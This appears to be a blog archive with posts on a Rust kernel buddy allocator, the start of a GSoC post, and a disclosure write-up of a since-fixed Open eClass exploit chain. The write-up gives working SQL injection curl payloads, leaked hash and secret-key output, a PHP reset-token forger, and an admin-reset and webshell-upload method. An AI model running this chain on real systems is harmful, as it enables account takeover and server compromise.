Each BuddyAllocator goes through its free list for the minimum memory size larger than the requested memory size
If the free list is empty it tries to split a block one level above (and if that free list is empty it goes one level above, etc.)
If there’s no memory available in that allocator, the next one is tried by the manager until one of them allocates the memory
Else, if none allocate the memory, the request fails and the manager returns null_mut() (a.k.a 0)

And with this last list, this series of posts is done! This whole construct was easier than I expected to be honest, plus I didn’t expect Rust to bend to my will like that and allow me to do some things that some would consider unsafe. Of course there were a lot of compiler errors on the way, but when writing a kernel that’s MUCH better than run-time panics!

Rust-OS Kernel buddy allocator - Part 2: Buddy allocator

2019-11-24T00:00:00+00:00

Previous post: Part 1: Creating a simple allocator.

Source code: https://github.com/nikofil/rust-os

If you’re wondering how I managed to get this far without knowing anything about a kernel, my code is based on the excellent blog posts over at https://os.phil-opp.com. Mostly the first, lower level edition.

Wtf is a buddy allocator

I was looking for possible algorithms to implement for my kernel’s memory allocation, and this seemed the most fun. The basic idea is simple: Your memory that you’re going to be using for allocations a nice, big, power-of-2-sized continuous block. This block can then be divided into two smaller, equal-sized blocks, which can then be divided further. These 2 blocks are called buddies which is what gives the allocator its name. Every time you get a request for some memory, you divide your smallest block into 2 pieces, and then divide one of those 2 pieces, etc. until you have the smallest block possible that can still accommodate that request. Then, when two buddies are freed, you can merge them and get the bigger block back!

For example, let’s imagine you have 128 bytes of memory and you get a request for 16 bytes. This is what the process would look like:

|                   128                    | (initial memory state)
|------------------------------------------|
|         64          |         64         | (divide 128-block)
|------------------------------------------|
|    32    |    32    |         64         | (divide first 64-block)
|------------------------------------------|
| 16 | 16  |    32    |         64         | (divide first 32-block)
|------------------------------------------|
| xx | 16  |    32    |         64         | (serve first 16-block and mark as used)

You then get another request for 32 bytes. You already have a 32-block ready!

| xx | 16  |    32    |         64         | (initial memory state)
|------------------------------------------|
| xx | 16  |    xx    |         64         | (serve first 32-block and mark as used)

The previous 16 bytes are freed. You can now merge them with their buddy block and make a bigger 32 byte buddy. :)

| xx | 16  |    xx    |         64         | (initial memory state)
|------------------------------------------|
| 16 | 16  |    xx    |         64         | (the previous block was freed)
|------------------------------------------|
|    32    |    xx    |         64         | (the two buddies have been merged)

Unfortunately the other 32 byte buddy is still allocated, so we can’t merge further. But you get the idea.

So why go through all the trouble? Why not just have a list of free memory areas and, when we get a request, return the smallest block where that request fits? Then, on free, append the memory block back to the list? (aka the SLOB allocator)

The buddy way of doing things has several advantages:

It’s neat (everybody loves tree-like structures)
We can easily merge unused memory areas so that we can then support large allocations (aka little external fragmentation, of course there are pathological cases as with any algorithm)
Allocating and freeing things takes logarithmic to the memory size time
We need a few internal structures to support it, but not too many
All memory blocks will be aligned to the size of the smallest block size (ie. if the smallest block size you split blocks to is 8 bytes, which it should be at minimum, all blocks will be 8 bytes aligned) which might save us some headaches

A problem that comes with this, however, is the following: If I ask for 513 bytes, I get a 1024-byte block back. The other 511 bytes go unused. This is also known as internal fragmentation. A way to combat this would be to use a slab allocator on top of this allocator which would then split up blocks further for more fine-grained control. This is however beyond what I’m trying to do here and I don’t mind losing some memory.

Implementing the buddy system

We need to define some terms before we can proceed:

A block is a contiguous block of memory. It is identified by its level in the buddy allocator and its index in that level. It can be split into two blocks of half the size (1 level below) or be united with its buddy block to make a block of double the size (1 level above).
A buddy_block is relative to another block, and it’s the block the other blck could be united with. The buddy of block i is the block i xor 1, so the blocks 0 and 1 in a level are buddies, and so are 10 and 11 (but not 9 and 10!).
A level is a list of blocks of the same size. A buddy allocator starts off with a single level 0 block which can then be split into two level 1 blocks, and so on. On each level, the first block has index 0, so the blocks 0 and 1 at level 4 if united would generate the block level 0 at level 3 (and vice-versa if split).
num_levels is the number of non-leaf levels for a buddy allocator. If we support levels 0, 1 and 2 (ie. our L0 block can be split into 2 L1 blocks or 4 L2 blocks), our level number would be 2.
The block_size shall be the size of each block on the leaf level, so the minimum size of a memory block that we can return. One level above that, the blocks will be of size block_size * 2 and so on.
A free_list for a level is the list of blocks in that level that are not in use.
start_addr is the first physical memory address that a buddy allocator manages.

And some relations:

max_size = block_size << num_levels
end_addr = start_addr + max_size
children_of_block(Lx, block_y) = (Lx+1, block_y*2), (Lx+1, block_y*2 + 1)
parent_of_block(Lx, block_y) = (Lx-1, block_y / 2)
size_of_block_at_level(Lx) = max_size >> x

(where Lx is level #x and block_y is block #y at that level)

With these terms in mind we can start implementing the buddy allocator! The following struct contains all that we need.

struct BuddyAllocator {
    start_addr: PhysAddr,
    end_addr: PhysAddr,
    num_levels: u8,
    block_size: u16,
    free_lists: Vec<Vec<u32>>,
}

Let’s initialize it. To do that, we need to be able to figure out how many levels our allocator will have, given its start and end address. For now we assume that the memory that our allocator handles (the space between the start and end addresses) is a power of 2, which simplifies things. As we said above, max_size = block_size << num_levels, so we increase our num_levels from 0 until this equation holds true.

Also we initialize our free lists. As the entire memory block is free, we store a 0 at the L0 free list.

impl BuddyAllocator {
    fn max_size(&self) -> usize {
        // max size that can be supported by this buddy allocator
        (self.block_size as usize) << (self.num_levels as usize)
    }

    fn new(start_addr: PhysAddr, end_addr: PhysAddr, block_size: u16) -> BuddyAllocator {
        // number of levels excluding the leaf level
        let mut num_levels: u8 = 0;
        while ((block_size as u64) << num_levels as u64) < end_addr.addr() - start_addr.addr() {
            num_levels += 1;
        }
        // vector of free lists
        let mut free_lists: Vec<Vec<u32>> = Vec::with_capacity((num_levels + 1) as usize);
        // Initialize each free list with a small capacity (in order to use the current allocator
        // at least for the first few items and not the one that will be in use when we're actually
        // using this as the allocator as this might lead to this allocator using itself and locking)
        for _ in 0..(num_levels + 1) {
            free_lists.push(Vec::with_capacity(4));
        }
        // The top-most block is (the only) free for now!
        free_lists[0].push(0);
        // We need 1<<levels bits to store which blocks are split (so 1<<(levels-3) bytes)
        BuddyAllocator {
            start_addr,
            end_addr,
            num_levels,
            block_size,
            free_lists,
        }
    }

    fn contains(&self, addr: PhysAddr) -> bool {
        // whether a given physical address belongs to this allocator
        addr.addr() >= self.start_addr.addr() && addr.addr() < self.end_addr.addr()
    }
}

Next we tackle the “difficult” part: Allocating a memory block.

First, let’s find which memory level we need to use to serve a request for size bytes. We start from level 0 and go up the levels until we reach a level that can’t accommodate the request. Then, we go one level back, and we have the level where the request should go.

impl BuddyAllocator {
    fn req_size_to_level(&self, size: usize) -> Option<usize> {
        // Find the level of this allocator than can accommodate the required memory size.
        let max_size = self.max_size();
        if size > max_size {
            // can't allocate more than the maximum size for this allocator!
            None
        } else {
            // find the largest block level that can support this size
            let mut next_level = 1;
            while (max_size >> next_level) >= size {
                next_level += 1;
            }
            // ...but not larger than the max level!
            let req_level = cmp::min(next_level - 1, self.num_levels as usize);
            Some(req_level)
        }
    }
}

With that settled, let’s make a method that gives us a block number back from a level. In the easy case, we have a free block at that level. In the hard case, we need to go up a level and split a block (which might require us to go up another level to split an even larger block).

impl BuddyAllocator {
    fn get_free_block(&mut self, level: usize) -> Option<u32> {
        // Get a block from the free list at this level or split a block above and
        // return one of the splitted blocks.
        self.free_lists[level]
            .pop()
            .or_else(|| self.split_level(level))
    }

    fn split_level(&mut self, level: usize) -> Option<u32> {
        // We reached the maximum level, we can't split anymore! We can't support this allocation.
        if level == 0 {
            None
        } else {
            self.get_free_block(level - 1).map(|block| {
                // Get a block from 1 level above us and split it.
                // We push the second of the splitted blocks to the current free list
                // and we return the other one as we now have a block for this allocation!
                self.free_lists[level].push(block * 2 + 1);
                block * 2
            })
        }
    }
}

We can finally make an allocation. As a block of size n will always be n-bytes aligned, if the alignment is larger than the size requested for some reason, we use that as the size. Then we find which level can accommodate the memory request, we get a block from that level and we calculate the physical address of that block. That’s simply: start_addr + block_idx * size_of_block_at_level(Lx) (Lx being the level that served the request, and block_idx the number of the returned block)

impl BuddyAllocator {
    fn alloc(&mut self, size: usize, alignment: usize) -> Option<PhysAddr> {
        // We should always be aligned due to how the buddy allocator works
        // (everything will be aligned to block_size bytes).
        // If we need in some case that we are aligned to a greater size,
        // allocate a memory block of (alignment) bytes.
        let size = cmp::max(size, alignment);
        // find which level of this allocator can accommodate this amount of memory (if any)
        self.req_size_to_level(size).and_then(|req_level| {
            // We can accommodate it! Now to check if we actually have / can make a free block
            // or we're too full.
            self.get_free_block(req_level).map(|block| {
                // We got a free block!
                // get_free_block gives us the index of the block in the given level
                // so we need to find the size of each block in that level and multiply by the index
                // to get the offset of the memory that was allocated.
                let offset = block as u64 * (self.max_size() >> req_level as usize) as u64;
                // Add the base address of this buddy allocator's block and return
                PhysAddr::new(self.start_addr.addr() + offset)
            })
        })
    }
}

Before deallocating a block, we first need a way to merge two buddy blocks, given the index of one of them. First we check if the buddy block of the one given block is in the free list. If so, we pop both of them (I assume that the current block is the one in the end of the list so we use pop for that as this hold for my implementation) and we push the parent block one level above. Finally try doing the same process on the above level in case we can merge further.

impl BuddyAllocator {
    fn merge_buddies(&mut self, level: usize, block_num: u32) {
        // toggle last bit to get buddy block
        let buddy_block = block_num ^ 1;
        // if buddy block in free list
        if let Some(buddy_idx) = self.free_lists[level]
            .iter()
            .position(|blk| *blk == buddy_block)
        {
            // remove current block (in last place)
            self.free_lists[level].pop();
            // remove buddy block
            self.free_lists[level].remove(buddy_idx);
            // add free block to free list 1 level above
            self.free_lists[level - 1].push(block_num / 2);
            // repeat the process!
            self.merge_buddies(level - 1, block_num / 2)
        }
    }
}

Finally deallocation: Find which level was used for the given size and alignment (thanks for providing these, Rust!) and which block was used based on the physical address (the opposite of the procedure above). Finally, push the block index to the appropriate free list and try to merge it with its buddy block using the method we just defined.

impl BuddyAllocator {
    fn dealloc(&mut self, addr: PhysAddr, size: usize, alignment: usize) {
        // As above, find which size was used for this allocation so that we can find the level
        // that gave us this memory block.
        let size = cmp::max(size, alignment);
        // find which level of this allocator was used for this memory request
        if let Some(req_level) = self.req_size_to_level(size) {
            // find size of each block at this level
            let level_block_size = self.max_size() >> req_level;
            // calculate which # block was just freed by using the start address and block size
            let block_num =
                ((addr.addr() - self.start_addr.addr()) as usize / level_block_size) as u32;
            // push freed block to the free list so we can reuse it
            self.free_lists[req_level].push(block_num);
            // try merging buddy blocks now that we might have some to merge
            self.merge_buddies(req_level, block_num);
        }
    }
}

That was easy enough! Now we just need to be able to construct one of these (or more)…

Next post: Part 3: Allocator manager

Rust-OS Kernel buddy allocator - Part 1: Creating a simple allocator

2019-10-24T00:00:00+00:00

This relates to my very-much-in-development kernel in Rust: https://github.com/nikofil/rust-os

Allocating a page

Before doing implementing any fancy memory allocation algorithm, we need to know how much memory is available. Unfortunately this information is only available in the very early stages of booting so we have to modify our crappy boot code to pass that information over. Fortunately, however, we are using multiboot2 for our bootloader which gives us a pointer to a struct with all this information in ebx.

Thankfully the multiboot2 crate gives us a way to parse this struct which I don’t care much about parsing myself. So we’re going to need to pass the (physical) address to our Rust entry point, convert it to a virtual address (essentially add 0xC0000000 which is our load base) and use the crate to get a list of empty pages.

The bootloader gives us this pointer in ebx which gets mangled for some reason during my boot process, so I’m going to save it in the stack and pass it using edi (the conventional register for the first argument of a function in ua64) to my start function.

 _start:
     mov esp, _stack_top_low
+    push ebx
     call _multiboot_check
     call _cpuid_check
     call _long_mode_check
     call _setup_page_table
     call _enable_paging
     mov eax, _gdt64_pointer_low
     lgdt [eax]
+    pop ebx
     call _ua64_mode_entry

 _ua64_mode_entry:
     mov edx, 0xC0000000
     add esp, edx
     mov eax, _ua64_mode_entry_high
     jmp eax
     _ua64_mode_entry_high:
     mov dword [_p3_table], 0
+    mov edi, ebx
     jmp _gdt64_code_off:ua64_mode_start

We can now read that first argument as a u64 which we need to convert to a usize with the virtual address.

    let boot_info: &multiboot2::BootInformation = unsafe {
        multiboot2::load(
            mem::PhysAddr::new(multiboot_info_addr)
                .to_virt()
                .unwrap()
                .addr() as usize
        )
    };

Surprisingly, it just works!

Now we have a struct that can give us a list of memory areas that we can use. So what do we do with these?

Let’s make something that can give us pages back!

pub trait FrameSingleAllocator: Send {
    unsafe fn allocate(&mut self) -> Option<PhysAddr>;
}

Simple enough to start with - what’s difficult about it?

First, some of the memory areas that we get back are already in use by the kernel. Multiboot has loaded our kernel into the start, but that’s still a usable memory area. Of course you probably don’t want to hand over the memory that stores your kernel when allocating something and getting your code overwritten. That leads to some very nasty bugs. We can use boot_info.end_address() to get the end address of our kernel so we can only give out pages after its end.
Second, we want to be a bit smart about this and give back pages (or frames) of a fixed size (here, 0x1000 or 4096 bytes). We maybe could get away with using a different page size, but some things that were made with that amount of memory in mind (ie. page tables), so let’s with go the easy way.
Third, this struct needs to be static (for Rust to be able to use it from its global allocator) and also can be transferred across threads for the same reason. Rust complains about us sending a MemoryAreaIter accross threads (because it contains pointers) but we can just assure it that it’s okay by implementing the Send marker for our frame allocator.

To do these things, we iterate through the available memory areas. We make sure we have enough memory for a frame at each step, starting after the end of our kernel and having an address aligned with our page size. If we can’t meet that criteria we go to the next memory area, until we have none left.

So, finally, this is the implementation for the simple page allocator. It can only give us new pages and can’t deallocate unused pages, but that’s all it has to do.

pub static mut BOOTINFO_ALLOCATOR: Option<SimpleAllocator> = None;

pub trait FrameSingleAllocator: Send {
    unsafe fn allocate(&mut self) -> Option<PhysAddr>;
}

pub struct SimpleAllocator {
    kernel_end_phys: u64, // end address of our kernel sections (don't write before this!)
    mem_areas: MemoryAreaIter, // iter of memory areas
    cur_area: Option<(u64, u64)>, // currently used area's bounds
    next_page: usize, // next page no. in this area to return
}

// shh it's ok pointers are thread-safe
unsafe impl core::marker::Send for SimpleAllocator {} 

impl SimpleAllocator {
    pub unsafe fn new(boot_info: &BootInformation) -> SimpleAllocator {
        let mem_tag = boot_info.memory_map_tag().expect("Must have memory map tag");
        let mut mem_areas = mem_tag.memory_areas();
        let kernel_end = boot_info.end_address() as u64;
        let kernel_end_phys = VirtAddr::new(kernel_end).to_phys().unwrap().0.addr();
        let mut alloc = SimpleAllocator {
            kernel_end_phys,
            mem_areas,
            cur_area: None,
            next_page: 0,
        };
        alloc.next_area();
        alloc
    }

    fn next_area(&mut self) {
        self.next_page = 0;
        if let Some(mem_area) = self.mem_areas.next() {
            // get base addr and length for current area
            let base_addr = mem_area.base_addr;
            let area_len = mem_area.length;
            // start after kernel end
            let mem_start = max(base_addr, self.kernel_end_phys);
            let mem_end = base_addr + area_len;
            // memory start addr aligned with page size
            let start_addr = ((mem_start + FRAME_SIZE - 1) / FRAME_SIZE) * FRAME_SIZE;
            // memory end addr aligned with page size
            let end_addr = (mem_end / FRAME_SIZE) * FRAME_SIZE;
            self.cur_area = Some((start_addr, end_addr));
        } else {
            self.cur_area = None; // out of mem areas :(
        };
    }
}

impl FrameSingleAllocator for SimpleAllocator {
    unsafe fn allocate(&mut self) -> Option<PhysAddr> {
        // get current area start and end addr if we still have an area left
        let (start_addr, end_addr) = self.cur_area?;
        let frame = PhysAddr::new(start_addr + (self.next_page as u64 * FRAME_SIZE));
        // return a page from this area
        if frame.addr() + (FRAME_SIZE as u64) < end_addr {
            self.next_page += 1;
            crate::println!("- Allocated new page");
            Some(frame)
        } else { // go to next area and try again
            self.next_area();
            crate::println!("- Going to next memory area");
            self.allocate()
        }
    }
}

Getting Rust to use our allocator

Alright Rust, I made your allocator! Let me use the heap now!

    let mut x: Vec<u8> = Vec::new();
    x.push(0);

Of course, Rust doesn’t appreciate all of our effort:

error: no global memory allocator found but one is required; link to std or add `#[global_allocator]` to a static item that implements the GlobalAlloc trait.

error: `#[alloc_error_handler]` function required, but not found

error: aborting due to 2 previous errors

We need to hold its hand and tell it how to use our allocator by making a struct that implements GlobalAlloc. We also need to define an error handler for when things go wrong. That sounds fairly simple, actually!

Also, this allocator needs to be static, naturally, as having it go out of scope in the middle of our program would be no good.

Alright, let’s start with the easy part: Handling errors! At this point we can’t do much to handle an allocation error, so we just panic.

#[alloc_error_handler]
fn alloc_error_handler(layout: alloc::alloc::Layout) -> ! {
    panic!("allocation error: {:?}", layout)
}

In fact, the -> ! return type says that this function is never supposed to return (so, either an infinite loop or an exit) so I don’t think we’re supposed to handle anything anyway. Great! Now let’s do the actually useful part. We start by creating a struct that implements GlobalAlloc.

pub struct Allocator;

unsafe impl GlobalAlloc for Allocator {
    unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
        unimplemented!()
    }

    unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) {
        unimplemented!()
    }
}

The interface is as simple as can be. For allocating we have the required layout (the required size and alignment of the returned memory area) and we return the (virtual) address of that area. For de-allocating we are given a pointer and the layout of the freed area.

How can we keep track of freed pages, though? Our frame allocator is simply an iterator that iterates over a static struct (the static BootInformation given to us by the bootloader). We can’t just add pages back to it. A Vec would be ideal here but, well, we need an allocator to use the Vec that we want for implementing our allocator!

Actually, that’s slightly misleading. We only need the Vec for freeing a page and we don’t need to free a page until after we have allocated a page. So this seemingly circular problem can be broken down into two simple steps:

Set up the allocator to only be able to allocate pages
Allocate a Vec for keeping free pages, after which we can also free pages

I created an additional static struct to help deal with this. It has two fields:

frame_allocator contains the allocator that we created previously and is initialized on the first step
free_frames is the Vec<PhysAddr> which contains the freed frames and is initialized on the second step Both are protected by a Mutex so that Rust doesn’t complain (rightly so, as we might someday want to have multiple threads!)

Finally the method init_global_alloc performs both steps: It initializes the frame_allocator member after which Rust should be able to allocate on the heap. After that it performs its first allocation: a Vec with capacity 200! This allows our free_frames list to store several frame addresses before needing a reallocation.

struct AllocatorInfo {
    frame_allocator: Mutex<Option<&'static mut dyn FrameSingleAllocator>>,
    free_frames: Mutex<Option<Vec<PhysAddr>>>,
}

lazy_static! {
    static ref ALLOCATOR_INFO: AllocatorInfo = AllocatorInfo {
        frame_allocator: Mutex::new(None),
        free_frames: Mutex::new(None),
    };
}

pub fn init_global_alloc(frame_alloc: &'static mut dyn FrameSingleAllocator) {
    // set the frame allocator as our current allocator
    ALLOCATOR_INFO.frame_allocator.lock().replace(frame_alloc);
    let old_free_frames = ALLOCATOR_INFO.free_frames.lock().take();
    // avoid dropping this inside a lock so we don't trigger a free
    // while holding the lock
    drop(old_free_frames);
    ALLOCATOR_INFO
        .free_frames
        .lock()
        .replace(Vec::with_capacity(200));
}

Having created this struct we can go ahead and implement the actual global allocator: (at this point I added the great if_chain crate to my project to deal with long chains of if lets)

unsafe impl GlobalAlloc for Allocator {
    unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
        if_chain! {
            // try locking the free_frames mutex (this locking fails when dealloc needs to allocate
            // more space for its Vec and calls this as it already holds this lock!)
            if let Some(ref mut guard) = ALLOCATOR_INFO.free_frames.try_lock();
            // get as mutable
            if let Some(ref mut free) = guard.as_mut();
            // get last page (if it exists)
            if let Some(page) = free.pop();
            // if a page exists
            if let Some(virt) = page.to_virt();
            // return the page
            then {
                crate::println!("Reusing! ^_^ {:x}", virt.addr());
                return virt.to_ref();
            }
        }
        if_chain! {
            // lock the frame allocator
            if let Some(ref mut allocator) = ALLOCATOR_INFO.frame_allocator.lock().as_mut();
            // get a physical page from it
            if let Some(page) = allocator.allocate();
            // convert it to virtual (add 0xC0000000)
            if let Some(virt) = page.to_virt();
            // return the page
            then {
                crate::println!("Allocated! ^_^ {:x}", virt.addr());
                return virt.to_ref();
            }
        }
        null_mut()
    }

    unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) {
        crate::println!("Deallocating: {:x}", ptr as u64);
        if_chain! {
            // try converting the deallocated virtual page address to the physical address
            if let Some((phys_addr, _)) = VirtAddr::new(ptr as u64).to_phys();
            // try locking the free frames list (this fails if we've already locked free_frames
            // for some reason, i.e. if we're in the middle of reallocating it due to a push to it)
            if let Some(ref mut guard) = ALLOCATOR_INFO.free_frames.try_lock();
            // get as mutable
            if let Some(ref mut free) = guard.as_mut();
            // add the physical address to the free frames list
            then {
                free.push(phys_addr);
            }
        }
        crate::println!("Deallocated! v_v {:x}", ptr as u64);
    }
}

Testing the global allocator

Finally we can actually allocate stuff! Let’s see how the global allocator behaves in an example.

#[global_allocator]
static ALLOCATOR: global_alloc::Allocator = global_alloc::Allocator;

pub fn start(boot_info: &'static BootInformation) -> ! {
    init_gdt();
    unsafe {
        let alloc = frame_alloc::SimpleAllocator::new(&boot_info);
        frame_alloc::BOOTINFO_ALLOCATOR.replace(alloc);
        global_alloc::init_global_alloc(frame_alloc::BOOTINFO_ALLOCATOR.as_mut().unwrap());
    }
    {
        println!("Before first Vec");
        let mut x: Vec<u32> = Vec::new();
        x.push(123);
        println!("{}", x[0]);
    }
    {
        println!("Before second Vec");
        let mut x: Vec<u32> = Vec::new();
        x.push(456);
        println!("{}", x[0]);
    }
    println!("After second Vec");

This outputs (with comments):

Before first Vec
- Going to next memory area # frame allocator proceeds to next memory area
- Allocated new page        # frame allocator gives the page to global allocator
* Allocated! ^_^ c04ae000   # global allocator gives us the virtual addr of that page
123
* Deallocating: c04ae000    # we give the page back to the allocator
- Allocated new page        # a new page is allocated to hold the Vec with the freed page
* Allocated! ^_^ c04af0000  # that page is given to the allocator, by the allocator!
* Deallocated! v_v c04ae000 # finally the page we gave back is added to the free list
Before second Vec
* Reusing! ^_^ c04ae000     # we need a new page now but we already have one in the free list
456
* Deallocating: c04ae000    # we give that page back to the allocator for a second time
* Deallocated! v_v c04ae000 # it has been added to the free list successfully
After second Vec

All works well! :) We can now proceed (in the next post) with making our allocator smarter so that we don’t waste an entire page every time we want to allocate anything and so that we can allocate blocks larger than 4096 bytes.

Next post: Part 2: Buddy allocator

E-class < 3.6 code execution

2018-02-14T00:00:00+00:00

I’ve been planning to do this write-up for a while now, but I decided to wait for at least 40 days after reporting this bug before disclosing it, as it concerns the e-class software used by most universities in Greece. The bug reported here has indeed been fixed on the same day that I reported it, so the first part of this shouldn’t be possible anymore. I’m also glad to see my own university’s e-class has been updated to the latest version, which is safe against this.
The e-class software I’m referring to is “open eclass”, which can be found at http://www.openeclass.org. Their Github is gunet/openeclass.

Part 1: SQL injection

This chain of exploits depends on this first exploit to work. This is the one that I created an issue for and that has since been fixed. The rest aren’t that important.
The bug resides in the “attendance” module of e-class. Modules can be enabled or disabled on each class separately, and that is checked on the current class you’re at when you try to access the module. Therefore to take advantage of this bug you’d have to find a class with the attendance module enabled. You can see the relevant issue or the diff of the patch which makes it obvious what the SQL injection was. The issue is issue #14 and the patch is commit fce0882.

The SQL injection entry point is the POST parameter attendance_id which is appended to two different SQL queries without sanitization. At first I thought I would have to write something in attendance_id that would lead into both lines being valid queries while injecting some SQL in one of them, which seemed a bit tricky. Thankfully that was not the case, and simply injecting some code in order for one of them to be valid resulted in me being able to retrieve whatever I want from the database. The other query would simply return null. (:

Below you can see a curl request that retrieves the admin’s password:

$ curl -X POST \
  'http://localhost:8080/modules/attendance/?course=TMA101' \
  -H 'X-Requested-With: xmlhttprequest' \
  -b 'PHPSESSID=12p9fb8lf8fmth3f9nphstesa3' \
  -F assign_type=3 \
  -F 'attendance_id=11 UNION SELECT id FROM user) UNION SELECT lol.username AS id, lol.password AS surname, 3 FROM user lol WHERE lol.id = 1 AND 432235211 NOT IN (SELECT username FROM user'
<p>In file <b>/var/www/example.com/public_html/modules/attendance/index.php</b> on line <b>51</b> : <i>Unable to execute statement:"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') UNION SELECT lol.username AS id, lol.password AS surname, 3 FROM user lol WHER' at line 2", sqlstate:"1064", errornum:"42000", 	statement:"SELECT uid AS id, givenname, surname FROM user, attendance_users                                         WHERE attendance_users.uid = user.id AND attendance_id = 11 UNION SELECT id FROM user) UNION SELECT lol.username AS id, lol.password AS surname, 3 FROM user lol WHERE lol.id = 1 AND 432235211 NOT IN (SELECT username FROM user ORDER BY surname", 	elapsed:1517578226.0001</i></p>[[{"id":"admin","surname":"$2a$08$rSgapF0VucQFwc0WsOmdy.7rybjOkxtsYUoG.zVMqpGM5wr3GCnkq","givenname":"3"}],null]%       

Ouch.

Part 2: Doing something with the SQL injection

The passwords are encrypted, seemingly with bcrypt, which a quick pass through the source code confirms. There’s no easy way to decrypt the admin password. Let’s see what else we can pull from the database.

Another table of interest is the config table. Its fields are key and value and it contains specific tuples, inserted when e-class is installed. Most entries are unremarkable, however one stands out: the key is code_key and the value is 32 bytes, read from /dev/urandom and then base64 encoded. The function that generates the key is called generate_secret_key, so it sounds rather promising. We can easily retrieve its value, as before:

$ curl -X POST \
  'http://localhost:8080/modules/attendance/?course=TMA101' \
  -H 'X-Requested-With: xmlhttprequest' \
  -b 'PHPSESSID=12p9fb8lf8fmth3f9nphstesa3' \
  -F assign_type=3 \
  -F 'attendance_id=1 UNION SELECT id FROM user) UNION SELECT lol.key AS id, lol.value AS surname, 3 FROM config lol WHERE lol.key = "code_key" AND 32235211 NOT IN (SELECT username FROM user'
<p>In file <b>/var/www/example.com/public_html/modules/attendance/index.php</b> on line <b>51</b> : <i>Unable to execute statement:"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') UNION SELECT lol.key AS id, lol.value AS surname, 3 FROM config lol WHERE lol.' at line 2", sqlstate:"1064", errornum:"42000", laterstatement:"SELECT uid AS id, givenname, surname FROM user, attendance_users                                         WHERE attendance_users.uid = user.id AND attendance_id = 1 UNION SELECT id FROM user) UNION SELECT lol.key AS id, lol.value AS surname, 3 FROM config lol WHERE lol.key = "code_key" AND 32235211 NOT IN (SELECT username FROM user ORDER BY surname", laterelapsed:1518182515.0001</i></p>[[{"id":"code_key","surname":"ZTW+TNpoJr2FTViENRRMcLy+kW2sza\/PJyrb542mx1s=","givenname":"3"}],null]%)'")'

Let’s see where this secret key is used.

Part 3: Using the secret key

Besides the points where it’s created, code_key is referenced in two other places in the code: the token_generate method and the corresponding token_validate method. The first one hashes a given string, optionally appending the timestamp, to generate an HMAC with the code_key as the key of the HMAC. The second one takes a message, a token and the number of seconds for which the token is valid if the message also contains a timestamp. It simply hashes the message again to confirm the HMAC is valid and checks if the time passed since the generation of the token is less that the allowed time, returning whether the token is valid.

There are 23 instances throughout the code of using token_generate, most are useless for proceeding further. As I expected though, it is also used to generate the token for resetting a user’s password when they have forgotten it. The call that generates the token is:

            $text .= $urlServer . "modules/auth/lostpass.php?u=$data[res_first_attempt]->id&h=" .
                    token_generate('password' . $data['res_first_attempt']->id, true);

We see that the token is generated with the string ‘password1’ where 1 is the user ID (1 in the case of the admin, the first user), using a timestamp.
We can easily generate the token ourselves with the following PHP snippet:

<?php
function token_generate($info, $need_timestamp = false) {
    if ($need_timestamp) {
        $ts = sprintf('%x-', time());
    } else {
        $ts = '';
    }
    $code_key = 'ZTW+TNpoJr2FTViENRRMcLy+kW2sza\/PJyrb542mx1s=';
    return $ts . hash_hmac('ripemd160', $ts . $info, $code_key);
}

echo(token_generate("password1", true) . "\n");
?>

This way we have a token for resetting the admin’s password. (: Running this script now, I get the hash 5a8438bf-97dc07f1a8f8e15f3dbe52c3e9d4fe12ef86f576.

This is different from clicking on the ‘forgotten password’ link and somehow retrieving the generated token, which is also sent to the admin’s email. This generated token isn’t stored anywhere on the database, which surprised me, as the first table I looked for in the database was a table that would store these tokens. Instead, the generated token is a signed piece of information that says, ‘user x requested a token on this date’. So you can reset a user’s password with such a token if you have the way to generate it, even if you never requested it!

We can request a password change as such:

$ curl -X POST \                                                                                                                                                                   
  'http://localhost:8080/modules/auth/lostpass.php' \      
  -F 'u=1' \                             
  -F 'h=5a8438bf-97dc07f1a8f8e15f3dbe52c3e9d4fe12ef86f576' \                                                                                                                   
  -F 'newpass=admin123' \
  -F 'newpass1=admin123' 

Part 4: Achieving code execution

We can now login with our new credentials! Hopefully the real admin won’t try to also login for a while. :)

The admin panel offers many interesting tools, however none allow you to explicitly execute PHP or SQL or anything of the sort. One of the tools, however, does allow you to upload a backup of a class, including all uploaded documents etc. The backup is essentially a zip archive that includes all files that the class contained, plus a bunch of serialized PHP objects for the class metadata.

It’s pretty straightforward to add some PHP code for a shell, then. We can download a backup for a class, unzip it, change the index.php or add our own PHP file, and use the admin panel to restore the backup. You could even try to do something with the serialized objects, if you were feeling adventurous.

Yay, we now have a shell! You can also read the SQL database credentials now from the appropriate file. One of the first things you could do at this point would be to restore the old (encrypted) admin password which we conveniently retrieved in the first step, so the admin can use the normal credentials to login once again and doesn’t notice anything. Other than that, anything is possible!

Remarks

I was surprised by how secure e-class was overall other than this exploit, which took me some time to find. I had seen an older version of e-class as part of the University security course which was full of security holes, so it was nice to see that almost all of them have been patched as well as the response time once this one was found. There might have been a few other bugs but nothing that could be leveraged like this one, though surely someone with more PHP experience could find something that I didn’t. I’ve been reading the deserialization engine is exploitable but I didn’t notice any points a student can provide a serialized object. Of course, ditching PHP altogether would probably be best, but eh, that’s easy for me to say.

First month of GSoC 2017

2017-06-25T00:00:00+00:00

The first month of my Google Summer of Code is already coming to an end, and the Phase 1 evaluation is also around the corner, which coincidentally is also the last week of my contract at CERN. With that in mind, this seems like a good time to write a blog post about the project and my progress during the first month.

While looking for a project to apply for, I was browsing the Security-related projects when I found an organization that I admittedly didn’t know but that had many interesting projects that I’ve used or heard of before, called the Honeynet Project. Their very first project idea especially caught my eye: A new project, to be created in Go, that would identify protocols from packets as they arrived on the wire, in order for a honeypot server to be able to tell which protocol it is from the first packet. The implementation itself could be very open-ended: One could use machine learning, heuristics, make a rule-based system or copy what other libraries similar do.

At first I believed this project would have many people applying and thought my chances wouldn’t be good, as I would also be working during the first month, but I decided to apply anyway hoping to learn a new language and try to apply machine learning to such a different concept and see what comes out. Eventually, after my application, I was given a small project to try and complete in Go by my prospective supervisor and, after setting it up and learning enough Go to get it to work, I was offered the project. For this, I am very grateful to my supervisor, Lukas Rist, as well as for his assistance while working on this project.

Project planning

